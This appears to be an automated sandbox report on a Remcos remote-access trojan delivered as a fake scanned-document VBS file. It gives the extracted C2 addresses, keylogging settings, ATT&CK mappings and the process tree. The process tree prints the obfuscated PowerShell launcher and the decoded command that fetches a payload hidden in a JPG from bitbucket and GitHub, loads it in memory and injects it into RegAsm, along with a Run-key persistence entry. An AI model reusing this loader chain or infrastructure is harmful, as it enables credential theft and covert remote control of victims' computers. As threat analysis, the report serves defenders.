remcos | 84dab25530ba75d9610b9b7e7f8665ba066679cb1e433d7657f9b0577e37717d

Analysis

max time kernel
49s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240802-uk
resource tags

arch:x64arch:x86image:win10v2004-20240802-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
06-09-2024 11:37

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General

Target

scan_documet_027839.vbs
Size

14KB
MD5

a5a98320f9ac5232423dbde020b8af40
SHA1

270b584738e2ad68dfbb7d949b72e9ceeb620607
SHA256

cb6c92921e3bc58250684d6bd5dda9b92d22917f2d5e7b137c9694907309e986
SHA512

a0d29c2f86b197dfa834f3718ff45dfbcf7bdade1b6e0c551cf0cbd0b2138f9d2e6a2a53efa262321977e22979b7e2662d3f301258c1d70ca7580d7b2b441e42
SSDEEP

384:40JkjQ0eWgc1pVR8YSwSPJmxNSiMFpWRD:fGjQ0e21pf8SmW28

Score

10^/10

remcos one_host collection credential_access discovery execution persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

one_host

111.90.147.146:2404

111.90.147.146:54750

111.90.147.146:80

111.90.147.146:8080

111.90.147.146:21

111.90.147.146:465

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
hdeshtrhj-38D4FR
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/5116-56-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1896-59-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2356-57-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/2356-57-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/5116-56-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	1744	powershell.exe
18	1744	powershell.exe
20	1744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4252	powershell.exe
1744	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program = "powershell.exe Invoke-Expression 'C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.vbs'"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com
17	bitbucket.org
18	bitbucket.org

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1744 set thread context of 3296	1744	powershell.exe	94
PID 3296 set thread context of 5116	3296	RegAsm.exe	98
PID 3296 set thread context of 2356	3296	RegAsm.exe	100
PID 3296 set thread context of 1896	3296	RegAsm.exe	103

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4252	powershell.exe
4252	powershell.exe
1744	powershell.exe
1744	powershell.exe
5116	RegAsm.exe
5116	RegAsm.exe
1896	RegAsm.exe
1896	RegAsm.exe
5116	RegAsm.exe
5116	RegAsm.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
3296	RegAsm.exe
3296	RegAsm.exe
3296	RegAsm.exe
3296	RegAsm.exe
3296	RegAsm.exe
3296	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	1896	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3296	RegAsm.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4252	4972	WScript.exe	83
PID 4972 wrote to memory of 4252	4972	WScript.exe	83
PID 4252 wrote to memory of 1744	4252	powershell.exe	86
PID 4252 wrote to memory of 1744	4252	powershell.exe	86
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 1744 wrote to memory of 3296	1744	powershell.exe	94
PID 3296 wrote to memory of 5116	3296	RegAsm.exe	98
PID 3296 wrote to memory of 5116	3296	RegAsm.exe	98
PID 3296 wrote to memory of 5116	3296	RegAsm.exe	98
PID 3296 wrote to memory of 5116	3296	RegAsm.exe	98
PID 3296 wrote to memory of 1824	3296	RegAsm.exe	99
PID 3296 wrote to memory of 1824	3296	RegAsm.exe	99
PID 3296 wrote to memory of 1824	3296	RegAsm.exe	99
PID 3296 wrote to memory of 2356	3296	RegAsm.exe	100
PID 3296 wrote to memory of 2356	3296	RegAsm.exe	100
PID 3296 wrote to memory of 2356	3296	RegAsm.exe	100
PID 3296 wrote to memory of 2356	3296	RegAsm.exe	100
PID 3296 wrote to memory of 1612	3296	RegAsm.exe	101
PID 3296 wrote to memory of 1612	3296	RegAsm.exe	101
PID 3296 wrote to memory of 1612	3296	RegAsm.exe	101
PID 3296 wrote to memory of 208	3296	RegAsm.exe	102
PID 3296 wrote to memory of 208	3296	RegAsm.exe	102
PID 3296 wrote to memory of 208	3296	RegAsm.exe	102
PID 3296 wrote to memory of 1896	3296	RegAsm.exe	103
PID 3296 wrote to memory of 1896	3296	RegAsm.exe	103
PID 3296 wrote to memory of 1896	3296	RegAsm.exe	103
PID 3296 wrote to memory of 1896	3296	RegAsm.exe	103
PID 3296 wrote to memory of 2300	3296	RegAsm.exe	106
PID 3296 wrote to memory of 2300	3296	RegAsm.exe	106
PID 3296 wrote to memory of 2300	3296	RegAsm.exe	106

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\scan_documet_027839.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#GU#bgBv#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBl#Gc#Z#Bz#C8#dwBn#GQ#cw#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#MQ#n#Cw#I##n#HM#dgBj#Gg#bwBz#HQ#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.eno/sdaolnwod/egds/wgds/gro.tekcubtib//:sptth', '1', 'svchost', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks computer location settings
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3296
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\sypzlhvhgwqafz"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5116
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\cacjmafbueifpfdut"
        5⤵
        
        PID:1824
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\cacjmafbueifpfdut"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2356
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\fuhcmsydqmarstrykckqb"
        5⤵
        
        PID:1612
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\fuhcmsydqmarstrykckqb"
        5⤵
        
        PID:208
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\fuhcmsydqmarstrykckqb"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1896
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\gsvjflbveqzeljnaqymmiaocehzflznzjg.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
c2618aaad9a6fad688702c9593c1b626

SHA1
138ee43a2fcd536d4a9023bad8192be65a4bc22d

SHA256
e2e675e487ce99abf06f932e833ab9513b16fd6b6c03bc444c30d7686d8b0296

SHA512
4efce9f822932be9c1ccb5755f0e483a746a58b35a81f0386ab1a306e45df8741b43f217fd60284a768291d88ac6ace8334c770b3a5fe079cd22e835dc475c8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
906a96ab3d13d754809f312628f6e4ac

SHA1
4f1f3d49c788e5736c31904eaf4683ea4e8683c6

SHA256
69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8

SHA512
a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exeizznr.hry.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gsvjflbveqzeljnaqymmiaocehzflznzjg.vbs

Filesize
544B

MD5
4196262905f64f1dd00381f882d1e2c4

SHA1
325434edd2f6930f987de42e51228ca348745413

SHA256
0b3cbde8778e4f47322ca017b5280f6eed3cd6f327b436eea4e91fbeb364a092

SHA512
c3367ac15a473485aceafbe52aa591e33fb67dff21896b936173db78d2889f9ee200ce4b7d78ede67bc471433444dea1c4cb36013cda7f6f9f7df3416bb1aa73

Download Submit
C:\Users\Admin\AppData\Local\Temp\sypzlhvhgwqafz

Filesize
4KB

MD5
c2ba973b69f82419afca8bf84edf48d4

SHA1
233424166bf334e814cdaebe64b00e0c4666f438

SHA256
a303934227a03000da0bb4e8e798143d91ce4e52e248b71e11a66035d1472e8e

SHA512
c0eff8c3ff5cf455ed8c8825f86560f2aaa22d57906d6795eb1b70e58c9cb7b08ac5dee785f6870548926a10e3b4cf248479c4bafb20c2c6136acb28931168d6

Download Submit
memory/1744-22-0x000001AF6DC20000-0x000001AF6DC5E000-memory.dmp

Filesize
248KB

Download
memory/1896-54-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1896-58-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1896-59-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2356-57-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2356-50-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2356-55-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3296-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3296-65-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3296-69-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3296-68-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4252-30-0x00007FFD711E0000-0x00007FFD71CA1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-12-0x00007FFD711E0000-0x00007FFD71CA1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-0-0x00007FFD711E3000-0x00007FFD711E5000-memory.dmp

Filesize
8KB

Download
memory/4252-11-0x00007FFD711E0000-0x00007FFD71CA1000-memory.dmp

Filesize
10.8MB

Download
memory/4252-7-0x0000023CA99A0000-0x0000023CA99C2000-memory.dmp

Filesize
136KB

Download
memory/5116-51-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/5116-56-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
